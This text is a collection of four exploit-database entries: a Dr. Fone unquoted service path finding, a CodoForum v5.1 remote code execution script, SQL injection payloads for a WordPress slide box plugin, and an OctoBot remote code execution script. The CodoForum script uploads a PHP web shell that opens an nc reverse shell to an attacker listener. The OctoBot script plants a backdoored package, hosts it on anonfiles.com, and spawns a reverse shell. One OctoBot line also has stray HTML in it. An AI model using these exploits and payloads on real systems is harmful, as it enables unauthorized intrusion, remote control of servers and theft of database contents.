# Exploit Title: Dr. Fone v4.0.8- 'net_updater32.exe' Unquoted Service Path # Discovery Date: 2022-05-07 # Discovery by: Esant1490 # Vendor Homepage: https://drfone.wondershare.net # Software Link : https://download.wondershare.net/drfone_full4008.exe # Tested Version: 4.0.8 # Tested on OS: Windows 10 Pro x64 en # Vulnerability Type: Unquoted Service Path # Find the discover Unquoted Service Path Vulnerability: C:\>wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """ Wondershare Install Assist Service Wondershare InstallAssist C:\ProgramData\Wondershare\Service\InstallAssistService.exe Auto Wondershare Application Framework Service WsAppService C:\Program Files (x86)\Wondershare\WAF\2.4.3.243\WsAppService.exe Auto Wondershare Application Update Service 3.0 WsAppService3 C:\Program Files (x86)\Wondershare\WAF3\3.0.0.308\WsAppService3.exe Auto Wondershare Driver Install Service WsDrvInst C:\Program Files (x86)\Wondershare\drfone\Addins\Unlock\DriverInstall.exe Auto # Service info: C:\>sc qc WsDrvInst [SC] QueryServiceConfig CORRECTO NOMBRE_SERVICIO: WsDrvInst TIPO : 10 WIN32_OWN_PROCESS TIPO_INICIO : 2 AUTO_START CONTROL_ERROR : 1 NORMAL NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\Wondershare\drfone\Addins\Unlock\DriverInstall.exe GRUPO_ORDEN_CARGA : ETIQUETA : 0 NOMBRE_MOSTRAR : Wondershare Driver Install Service DEPENDENCIAS : RPCSS NOMBRE_INICIO_SERVICIO: LocalSystem #Exploit: A successful attempt to exploit this vulnerability could allow to execute code during startup or reboot with the elevated privileges.
-
CodoForum v5.1 - Remote Code Execution (RCE)
# Exploit Title: CodoForum v5.1 - Remote Code Execution (RCE) # Date: 06/07/2022 # Exploit Author: Krish Pandey (@vikaran101) # Vendor Homepage: https://codoforum.com/ # Software Link: https://bitbucket.org/evnix/codoforum_downloads/downloads/codoforum.v.5.1.zip # Version: CodoForum v5.1 # Tested on: Ubuntu 20.04 # CVE: CVE-2022-31854 #!/usr/bin/python3 import requests import time import optparse import random import string banner = """ ______ _______ ____ ___ ____ ____ _____ _ ___ ____ _ _ / ___\ \ / / ____| |___ \ / _ \___ \|___ \ |___ // |( _ ) ___|| || | | | \ \ / /| _| _____ __) | | | |__) | __) |____ |_ \| |/ _ \___ \| || |_ | |___ \ V / | |__|_____/ __/| |_| / __/ / __/_____|__) | | (_) |__) |__ _| \____| \_/ |_____| |_____|\___/_____|_____| |____/|_|\___/____/ |_| """ print("\nCODOFORUM V5.1 ARBITRARY FILE UPLOAD TO RCE(Authenticated)") print(banner) print("\nExploit found and written by: @vikaran101\n") parser = optparse.OptionParser() parser.add_option('-t', '--target-url', action="store", dest='target', help='path of the CodoForum v5.1 install') parser.add_option('-u', '--username', action="store", dest='username', help='admin username') parser.add_option('-p', '--password', action="store", dest='password', help='admin password') parser.add_option('-i', '--listener-ip', action="store", dest='ip', help='listener address') parser.add_option('-n', '--port', action="store", dest='port', help='listener port number') options, args = parser.parse_args() proxy = {'http': 'http://127.0.0.1:8080', 'https': 'https://127.0.0.1:8080'} if not options.target or not options.username or not options.password or not options.ip or not options.port: print("[-] Missing arguments!") print("[*] Example usage: ./exploit.py -t [target url] -u [username] -p [password] -i [listener ip] -n [listener port]") print("[*] Help menu: ./exploit.py -h OR ./exploit.py --help") exit() loginURL = options.target + '/admin/?page=login' globalSettings = options.target + '/admin/index.php?page=config' payloadURL = options.target + '/sites/default/assets/img/attachments/' session = requests.Session() randomFileName = ''.join((random.choice(string.ascii_lowercase) for x in range(10))) def getPHPSESSID(): try: get_PHPID = session.get(loginURL) headerDict = get_PHPID.headers cookies = headerDict['Set-Cookie'].split(';')[0].split('=')[1] return cookies except: exit() phpID = getPHPSESSID() def login(): send_cookies = {'cf':'0'} send_headers = {'Host': loginURL.split('/')[2], 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8','Accept-Language':'en-US,en;q=0.5','Accept-Encoding':'gzip, deflate','Content-Type':'multipart/form-data; boundary=---------------------------2838079316671520531167093219','Content-Length':'295','Origin':loginURL.split('/')[2],'Connection':'close','Referer':loginURL,'Upgrade-Insecure-Requests':'1'} send_creds = "-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"username\"\n\nadmin\n-----------------------------2838079316671520531167093219\nContent-Disposition: form-data; name=\"password\"\n\nadmin\n-----------------------------2838079316671520531167093219--" auth = session.post(loginURL, headers=send_headers, cookies=send_cookies, data=send_creds, proxies=proxy) if "CODOFORUM | Dashboard" in auth.text: print("[+] Login successful") def uploadAndExploit(): send_cookies = {'cf':'0', 'user_id':'1', 'PHPSESSID':phpID} send_headers = {'Content-Type':'multipart/form-data; boundary=---------------------------7450086019562444223451102689'} send_payload = '\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_title"\n\nCODOLOGIC\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="site_description"\n\ncodoforum - Enhancing your forum experience with next generation technology!\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="admin_email"\n\[email protected]\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="default_timezone"\n\nEurope/London\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="register_pass_min"\n\n8\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_all_topics"\n\n30\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_cat_topics"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="num_posts_per_topic"\n\n20\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_path"\n\nassets/img/attachments\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_exts"\n\njpg,jpeg,png,gif,pjpeg,bmp,txt\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_size"\n\n3\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_attachments_mimetypes"\n\nimage/*,text/plain\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_num"\n\n5\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_tags_len"\n\n15\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="reply_min_chars"\n\n10\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="insert_oembed_videos"\n\nyes\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_privacy"\n\neveryone\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="approval_notify_mails"\n\n\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_header_menu"\n\nsite_title\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="forum_logo"; filename="' + randomFileName + '.php"\nContent-Type: application/x-php\n\n<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ' + options.ip + ' ' + options.port + ' >/tmp/f");?> \n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="login_by"\n\nUSERNAME\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="force_https"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="user_redirect_after_login"\n\ntopics\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_hide_topic_messages"\n\noff\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="sidebar_infinite_scrolling"\n\non\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="show_sticky_topics_without_permission"\n\nno\n-----------------------------7450086019562444223451102689\nContent-Disposition: form-data; name="CSRF_token"\n\n23cc3019cadb6891ebd896ae9bde3d95\n-----------------------------7450086019562444223451102689--\n' exploit = requests.post(globalSettings, headers=send_headers, cookies=send_cookies, data=send_payload, proxies=proxy) print("[*] Checking webshell status and executing...") payloadExec = session.get(payloadURL + randomFileName + '.php', proxies=proxy) if payloadExec.status_code == 200: print("[+] Payload uploaded successfully and executed, check listener") else: print("[-] Something went wrong, please try uploading the shell manually(admin panel > global settings > change forum logo > upload and access from " + payloadURL +"[file.php])") login() uploadAndExploit()
-
WordPress Plugin Visual Slide Box Builder 3.2.9 - SQLi
# Title: WordPress Plugin Visual Slide Box Builder 3.2.9 - SQLi # Author: nu11secur1ty # Date: 07.11.2022 # Vendor: https://wphive.com/ # Software: https://wphive.com/plugins/wp-visual-slidebox-builder/?plugin_version=3.2.9 # Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/WordPress/2022/Visual-Slide-Box-Builder-plugin ## Description: The parameter `idx` from the Visual Slide Box Builder plugin app for WordPress appears to be vulnerable to SQLi. The attacker can receive all database information from the WordPress database and he can use it for very malicious purposes. [+] Payloads: ```mysql --- Parameter: idx (GET) Type: boolean-based blind Title: HAVING boolean-based blind - WHERE, GROUP BY clause Payload: action=vsbb_get_one&idx=1 union select 1,2,3,4,5,sleep(3) HAVING 1854=1854 Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: action=vsbb_get_one&idx=1 union select 1,2,3,4,5,sleep(3) AND (SELECT 3837 FROM (SELECT(SLEEP(7)))QHbL) Type: UNION query Title: MySQL UNION query (NULL) - 6 columns Payload: action=vsbb_get_one&idx=-5038 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a626a71,0x4e6b417358754d527a4a69544c57654a53574a64736b5a656e4b7968767a7a4d454243797a796d72,0x717a7a7a71),NULL,NULL# --- ```
-
OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE)
# Exploit Title: OctoBot WebInterface 0.4.3 - Remote Code Execution (RCE) # Date: 9/2/2021 # Exploit Author: Samy Younsi, Thomas Knudsen # Vendor Homepage: https://www.octobot.online/ # Software Link: https://github.com/Drakkar-Software/OctoBot # Version: 0.4.0beta3 - 0.4.3 # Tested on: Linux (Ubuntu, CentOs) # CVE : CVE-2021-36711 from __future__ import print_function, unicode_literals from bs4 import BeautifulSoup import argparse import requests import zipfile import time import sys import os def banner(): sashimiLogo = """ _________ . . (.. \_ , |\ /| \ O \ /| \ \/ / \______ \/ | \ / vvvv\ \ | / | _ _ _ _ \^^^^ == \_/ | | | __ _ | || |__ (_)_ __ ___ (_)`\_ === \. | / __)/ _` / __| '_ \| | '_ ` _ \| |/ /\_ \ / | \__ | (_| \__ | | | | | | | | | | ||/ \_ \| / ( /\__,_( |_| |_|_|_| |_| |_|_| \________/ |_| |_| \033[1;91mOctoBot Killer\033[1;m Author: \033[1;92mNaqwada\033[1;m RuptureFarm 1029 FOR EDUCATIONAL PURPOSE ONLY. """ return print('\033[1;94m{}\033[1;m'.format(sashimiLogo)) def help(): print('[!] \033[1;93mUsage: \033[1;m') print('[-] python3 {} --RHOST \033[1;92mTARGET_IP\033[1;m --RPORT \033[1;92mTARGET_PORT\033[1;m --LHOST \033[1;92mYOUR_IP\033[1;m --LPORT \033[1;92mYOUR_PORT\033[1;m'.format(sys.argv[0])) print('[-] \033[1;93mNote*\033[1;m If you are using a hostname instead of an IP address please remove http:// or https:// and try again.') def getOctobotVersion(RHOST, RPORT): if RPORT == 443: url = 'https://{}:{}/api/version'.format(RHOST, RPORT) else: url = 'http://{}:{}/api/version'.format(RHOST, RPORT) return curl(url) def restartOctobot(RHOST, RPORT): if RPORT == 443: url = 'https://{}:{}/commands/restart'.format(RHOST, RPORT) else: url = 'http://{}:{}/commands/restart'.format(RHOST, RPORT) try: requests.get(url, allow_redirects=False, verify=False, timeout=1) except requests.exceptions.ConnectionError as e: print('[+] \033[1;92mOctoBot is restarting ... Please wait 30 seconds.\033[1;m') time.sleep(30) def downloadTentaclePackage(octobotVersion): print('[+] \033[1;92mStart downloading Tentacle package for OctoBot {}.\033[1;m'.format(octobotVersion)) url = 'https://static.octobot.online/tentacles/officials/packages/full/base/{}/any_platform.zip'.format(octobotVersion) result = requests.get(url, stream=True) with open('{}.zip'.format(octobotVersion), 'wb') as fd: for chunk in result.iter_content(chunk_size=128): fd.write(chunk) print('[+] \033[1;92mDownload completed!\033[1;m') def unzipTentaclePackage(octobotVersion): zip = zipfile.ZipFile('{}.zip'.format(octobotVersion)) zip.extractall('quests') os.remove('{}.zip'.format(octobotVersion)) print('[+] \033[1;92mTentacle package has been extracted.\033[1;m') def craftBackdoor(octobotVersion): print('[+] \033[1;92mCrafting backdoor for Octobot Tentacle Package {}...\033[1;m'.format(octobotVersion)) path = 'quests/reference_tentacles/Services/Interfaces/web_interface/api/' injectInitFile(path) injectMetadataFile(path) print('[+] \033[1;92mSashimi malicious Tentacle Package for OctoBot {} created!\033[1;m'.format(octobotVersion)) def injectMetadataFile(path): with open('{}metadata.py'.format(path),'r') as metadataFile: content = metadataFile.read() addPayload = content.replace('import json', ''.join('import json\nimport flask\nimport sys, socket, os, pty')) addPayload = addPayload.replace('@api.api.route("/announcements")', ''.join('@api.api.route("/sashimi")\ndef sashimi():\n\ts = socket.socket()\n\ts.connect((flask.request.args.get("LHOST"), int(flask.request.args.get("LPORT"))))\n\t[os.dup2(s.fileno(), fd) for fd in (0, 1, 2)]\n\tpty.spawn("/bin/sh")\n\n\[email protected]("/announcements")')) with open('{}metadata.py'.format(path),'w') as newMetadataFile: newMetadataFile.write(addPayload) def injectInitFile(path): with open('{}__init__.py'.format(path),'r') as initFile: content = initFile.read() addPayload = content.replace('announcements,', ''.join('announcements,\n\tsashimi,')) addPayload = addPayload.replace('"announcements",', ''.join('"announcements",\n\t"sashimi",')) with open('{}__init__.py'.format(path),'w') as newInitFile: newInitFile.write(addPayload) def rePackTentaclePackage(): print('[+] \033[1;92mRepacking Tentacle package.\033[1;m') with zipfile.ZipFile('any_platform.zip', mode='w') as zipf: len_dir_path = len('quests') for root, _, files in os.walk('quests'): for file in files: file_path = os.path.join(root, file) zipf.write(file_path, file_path[len_dir_path:]) def uploadMaliciousTentacle(): print('[+] \033[1;92mUploading Sashimi malicious Tentacle .ZIP package on anonfiles.com" link="https://app.recordedfuture.com/live/sc/entity/idn:anonfiles.com" style="">anonfiles.com... May take a minute.\033[1;m') file = { 'file': open('any_platform.zip', 'rb'), } response = requests.post('https://api.anonfiles.com/upload', files=file, timeout=60) zipLink = response.json()['data']['file']['url']['full'] response = requests.get(zipLink, timeout=60) soup = BeautifulSoup(response.content.decode('utf-8'), 'html.parser') zipLink = soup.find(id='download-url').get('href') print('[+] \033[1;92mSashimi malicious Tentacle has been successfully uploaded. {}\033[1;m'.format(zipLink)) return zipLink def curl(url): response = requests.get(url, allow_redirects=False, verify=False, timeout=60) return response def injectBackdoor(RHOST, RPORT, zipLink): print('[+] \033[1;92mInjecting Sashimi malicious Tentacle packages in Ocotobot... May take a minute.\033[1;m') if RPORT == 443: url = 'https://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT) else: url = 'http://{}:{}/advanced/tentacle_packages?update_type=add_package'.format(RHOST, RPORT) headers = { 'Content-Type': 'application/json', 'X-Requested-With': 'XMLHttpRequest', } data = '{"'+zipLink+'":"register_and_install"}' response = requests.post(url, headers=headers, data=data) response = response.content.decode('utf-8').replace('"', '').strip() os.remove('any_platform.zip') if response != 'Tentacles installed': print('[!] \033[1;91mError: Something went wrong while trying to install the malicious Tentacle package.\033[1;m') exit() print('[+] \033[1;92mSashimi malicious Tentacle package has been successfully installed on the OctoBot target.\033[1;m') def execReverseShell(RHOST, RPORT, LHOST, LPORT): print('[+] \033[1;92mExecuting reverse shell on {}:{}.\033[1;m'.format(LHOST, LPORT)) if RPORT == 443: url = 'https://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT) else: url = 'http://{}:{}/api/sashimi?LHOST={}&LPORT={}'.format(RHOST, RPORT, LHOST, LPORT) return curl(url) def isPassword(RHOST, RPORT): if RPORT == 443: url = 'https://{}:{}'.format(RHOST, RPORT) else: url = 'http://{}:{}'.format(RHOST, RPORT) return curl(url) def main(): banner() args = parser.parse_args() if isPassword(args.RHOST, args.RPORT).status_code != 200: print('[!] \033[1;91mError: This Octobot Platform seems to be protected with a password!\033[1;m') octobotVersion = getOctobotVersion(args.RHOST, args.RPORT).content.decode('utf-8').replace('"','').replace('OctoBot ','') if len(octobotVersion) > 0: print('[+] \033[1;92mPlatform OctoBot {} detected.\033[1;m'.format(octobotVersion)) downloadTentaclePackage(octobotVersion) unzipTentaclePackage(octobotVersion) craftBackdoor(octobotVersion) rePackTentaclePackage() zipLink = uploadMaliciousTentacle() injectBackdoor(args.RHOST, args.RPORT, zipLink) restartOctobot(args.RHOST, args.RPORT) execReverseShell(args.RHOST, args.RPORT, args.LHOST, args.LPORT) if __name__ == "__main__": parser = argparse.ArgumentParser(description='POC script that exploits the Tentacles upload functionalities on OctoBot. A vulnerability has been found and can execute a reverse shell by crafting a malicious packet. Version affected from 0.4.0b3 to 0.4.0b10 so far.', add_help=False) parser.add_argument('-h', '--help', help=help()) parser.add_argument('--RHOST', help="Refers to the IP of the target machine.", type=str, required=True) parser.add_argument('--RPORT', help="Refers to the open port of the target machine.", type=int, required=True) parser.add_argument('--LHOST', help="Refers to the IP of your machine.", type=str, required=True) parser.add_argument('--LPORT', help="Refers to the open port of your machine.", type=int, required=True) main()